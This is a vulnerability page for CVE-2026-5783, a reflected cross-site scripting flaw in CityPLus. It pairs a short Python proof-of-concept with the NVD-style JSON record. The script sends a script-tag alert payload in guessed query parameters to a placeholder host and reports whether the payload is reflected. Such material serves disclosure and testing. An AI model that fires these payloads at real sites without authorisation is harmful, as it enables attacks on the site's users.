CVE-2026-5783

# Proof of Concept for CVE-2026-5783 (Reflected XSS in CityPLus) # This script demonstrates how to test for the vulnerability by sending a malicious payload. import requests def check_xss_vulnerability(target_url): # Generic XSS payload to test reflection xss_payload = "<script>alert('CVE-2026-5783_PoC');</script>" # Example parameter name (actual parameter may vary based on application logic) params = { "search": xss_payload, "input": xss_payload } try: print(f"[*] Sending request to: {target_url}") response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response body without encoding if xss_payload in response.text: print(f"[+] Vulnerability Confirmed! Payload reflected in response.") print(f"[+] Potential Exploit Link: {response.url}") return True else: print("[-] Payload not reflected or application has input filtering.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target endpoint target = "http://target-cityplus-instance/vulnerable_page" check_xss_vulnerability(target)

{"cve": {"id": "CVE-2026-5783", "sourceIdentifier": "[email protected]", "published": "2026-05-20T16:16:26.790", "lastModified": "2026-05-20T17:30:47.177", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Beyaz Computer Software Design Industry and Trade Ltd. Co. CityPLus allows Reflected XSS.\n\nThis issue affects CityPLus: before V24.29750.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0263", "source": "[email protected]"}]}}